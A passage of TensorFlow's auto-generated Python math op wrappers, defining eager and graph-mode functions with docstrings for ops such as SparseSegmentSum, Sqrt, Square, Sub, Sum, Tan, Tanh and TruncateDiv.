except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentSum", data=data, indices=indices,
segment_ids=segment_ids, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentSum = tf_export("raw_ops.SparseSegmentSum")(_ops.to_raw_op(sparse_segment_sum))
def sparse_segment_sum_eager_fallback(data, indices, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tsegmentids",
_attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentSum", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_sum_with_num_segments(data, indices, segment_ids, num_segments, name=None):
r"""Computes the sum along sparse segments of a tensor.
Like `SparseSegmentSum`, but allows missing ids in `segment_ids`. If an id is
missing, the `output` tensor at that position will be zeroed.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/sparse#Segmentation)
for an explanation of segments.
For example:
```python
c = tf.constant([[1,2,3,4], [-1,-2,-3,-4], [5,6,7,8]])
tf.sparse_segment_sum_with_num_segments(
c, tf.constant([0, 1]), tf.constant([0, 0]), num_segments=3)
# => [[0 0 0 0]
# [0 0 0 0]
# [0 0 0 0]]
tf.sparse_segment_sum_with_num_segments(c,
tf.constant([0, 1]),
tf.constant([0, 2],
num_segments=4))
# => [[ 1 2 3 4]
# [ 0 0 0 0]
# [-1 -2 -3 -4]
# [ 0 0 0 0]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
Should equal the number of distinct segment IDs.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentSumWithNumSegments", name, data, indices,
segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_sum_with_num_segments_eager_fallback(
data, indices, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentSumWithNumSegments", data=data, indices=indices,
segment_ids=segment_ids,
num_segments=num_segments,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentSumWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentSumWithNumSegments = tf_export("raw_ops.SparseSegmentSumWithNumSegments")(_ops.to_raw_op(sparse_segment_sum_with_num_segments))
def sparse_segment_sum_with_num_segments_eager_fallback(data, indices, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tnumsegments",
_attr_Tnumsegments, "Tsegmentids", _attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentSumWithNumSegments", 1,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentSumWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sqrt(x, name=None):
r"""Computes square root of x element-wise.
I.e., \\(y = \sqrt{x} = x^{1/2}\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sqrt", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sqrt_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sqrt", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sqrt", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sqrt = tf_export("raw_ops.Sqrt")(_ops.to_raw_op(sqrt))
def sqrt_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sqrt", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sqrt", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sqrt_grad(y, dy, name=None):
r"""Computes the gradient for the sqrt of `x` wrt its input.
Specifically, `grad = dy * 0.5 / y`, where `y = sqrt(x)`, and `dy`
is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SqrtGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sqrt_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SqrtGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SqrtGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SqrtGrad = tf_export("raw_ops.SqrtGrad")(_ops.to_raw_op(sqrt_grad))
def sqrt_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"SqrtGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SqrtGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.square', 'square')
def square(x, name=None):
r"""Computes square of x element-wise.
I.e., \\(y = x * x = x^2\\).
>>> tf.math.square([-2., 0., 3.])
<tf.Tensor: shape=(3,), dtype=float32, numpy=array([4., 0., 9.], dtype=float32)>
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Square", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return square_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
square, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Square", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
square, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Square", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Square = tf_export("raw_ops.Square")(_ops.to_raw_op(square))
def square_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Square", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Square", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.squared_difference', v1=['math.squared_difference', 'squared_difference'])
@deprecated_endpoints('squared_difference')
def squared_difference(x, y, name=None):
r"""Returns conj(x - y)(x - y) element-wise.
*NOTE*: `math.squared_difference` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int32`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SquaredDifference", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return squared_difference_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
squared_difference, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SquaredDifference", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
squared_difference, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SquaredDifference", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SquaredDifference = tf_export("raw_ops.SquaredDifference")(_ops.to_raw_op(squared_difference))
def squared_difference_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"SquaredDifference", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SquaredDifference", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sub(x, y, name=None):
r"""Returns x - y element-wise.
*NOTE*: `tf.subtract` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Both input and output have a range `(-inf, inf)`.
Example usages below.
Subtract operation between an array and a scalar:
>>> x = [1, 2, 3, 4, 5]
>>> y = 1
>>> tf.subtract(x, y)
<tf.Tensor: shape=(5,), dtype=int32, numpy=array([0, 1, 2, 3, 4], dtype=int32)>
>>> tf.subtract(y, x)
<tf.Tensor: shape=(5,), dtype=int32,
numpy=array([ 0, -1, -2, -3, -4], dtype=int32)>
Note that binary `-` operator can be used instead:
>>> x = tf.convert_to_tensor([1, 2, 3, 4, 5])
>>> y = tf.convert_to_tensor(1)
>>> x - y
<tf.Tensor: shape=(5,), dtype=int32, numpy=array([0, 1, 2, 3, 4], dtype=int32)>
Subtract operation between an array and a tensor of same shape:
>>> x = [1, 2, 3, 4, 5]
>>> y = tf.constant([5, 4, 3, 2, 1])
>>> tf.subtract(y, x)
<tf.Tensor: shape=(5,), dtype=int32,
numpy=array([ 4, 2, 0, -2, -4], dtype=int32)>
**Warning**: If one of the inputs (`x` or `y`) is a tensor and the other is a
non-tensor, the non-tensor input will adopt (or get casted to) the data type
of the tensor input. This can potentially cause unwanted overflow or underflow
conversion.
For example,
>>> x = tf.constant([1, 2], dtype=tf.int8)
>>> y = [2**8 + 1, 2**8 + 2]
>>> tf.subtract(x, y)
<tf.Tensor: shape=(2,), dtype=int8, numpy=array([0, 0], dtype=int8)>
When subtracting two input values of different shapes, `tf.subtract` follows the
[general broadcasting rules](https://numpy.org/doc/stable/user/basics.broadcasting.html#general-broadcasting-rules)
. The two input array shapes are compared element-wise. Starting with the
trailing dimensions, the two dimensions either have to be equal or one of them
needs to be `1`.
For example,
>>> x = np.ones(6).reshape(2, 3, 1)
>>> y = np.ones(6).reshape(2, 1, 3)
>>> tf.subtract(x, y)
<tf.Tensor: shape=(2, 3, 3), dtype=float64, numpy=
array([[[0., 0., 0.],
[0., 0., 0.],
[0., 0., 0.]],
[[0., 0., 0.],
[0., 0., 0.],
[0., 0., 0.]]])>
Example with inputs of different dimensions:
>>> x = np.ones(6).reshape(2, 3, 1)
>>> y = np.ones(6).reshape(1, 6)
>>> tf.subtract(x, y)
<tf.Tensor: shape=(2, 3, 6), dtype=float64, numpy=
array([[[0., 0., 0., 0., 0., 0.],
[0., 0., 0., 0., 0., 0.],
[0., 0., 0., 0., 0., 0.]],
[[0., 0., 0., 0., 0., 0.],
[0., 0., 0., 0., 0., 0.],
[0., 0., 0., 0., 0., 0.]]])>
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `int64`, `complex64`, `complex128`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sub", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sub_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sub", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sub", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sub = tf_export("raw_ops.Sub")(_ops.to_raw_op(sub))
def sub_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sub", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sub", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _sum(input, axis, keep_dims=False, name=None):
r"""Computes the sum of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sum", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _sum_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sum", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sum = tf_export("raw_ops.Sum")(_ops.to_raw_op(_sum))
def _sum_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Sum", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.tan', 'tan')
def tan(x, name=None):
r"""Computes tan of x element-wise.
Given an input tensor, this function computes tangent of every
element in the tensor. Input range is `(-inf, inf)` and
output range is `(-inf, inf)`. If input lies outside the boundary, `nan`
is returned.
```python
x = tf.constant([-float("inf"), -9, -0.5, 1, 1.2, 200, 10000, float("inf")])
tf.math.tan(x) ==> [nan 0.45231566 -0.5463025 1.5574077 2.572152 -1.7925274 0.32097113 nan]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Tan", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return tan_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
tan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Tan", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
tan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Tan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Tan = tf_export("raw_ops.Tan")(_ops.to_raw_op(tan))
def tan_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Tan", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Tan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.tanh', 'nn.tanh', 'tanh')
def tanh(x, name=None):
r"""Computes hyperbolic tangent of `x` element-wise.
Given an input tensor, this function computes hyperbolic tangent of every
element in the tensor. Input range is `[-inf, inf]` and
output range is `[-1,1]`.
>>> x = tf.constant([-float("inf"), -5, -0.5, 1, 1.2, 2, 3, float("inf")])
>>> tf.math.tanh(x)
<tf.Tensor: shape=(8,), dtype=float32, numpy=
array([-1. , -0.99990916, -0.46211717, 0.7615942 , 0.8336547 ,
0.9640276 , 0.9950547 , 1. ], dtype=float32)>
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Tanh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return tanh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
tanh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Tanh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
tanh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Tanh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Tanh = tf_export("raw_ops.Tanh")(_ops.to_raw_op(tanh))
def tanh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Tanh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Tanh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def tanh_grad(y, dy, name=None):
r"""Computes the gradient for the tanh of `x` wrt its input.
Specifically, `grad = dy * (1 - y*y)`, where `y = tanh(x)`, and `dy`
is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "TanhGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return tanh_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"TanhGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"TanhGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
TanhGrad = tf_export("raw_ops.TanhGrad")(_ops.to_raw_op(tanh_grad))
def tanh_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"TanhGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"TanhGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('truncatediv')
def truncate_div(x, y, name=None):
r"""Returns x / y element-wise for integer types.
Truncation designates that negative numbers will round fractional quantities
toward zero. I.e. -7 / 5 = -1. This matches C semantics but it is different
than Python semantics. See `FloorDiv` for a division function that matches
Python Semantics.
*NOTE*: `truncatediv` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `uint32`, `uint64`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "TruncateDiv", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return truncate_div_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
truncate_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"TruncateDiv", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
truncate_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
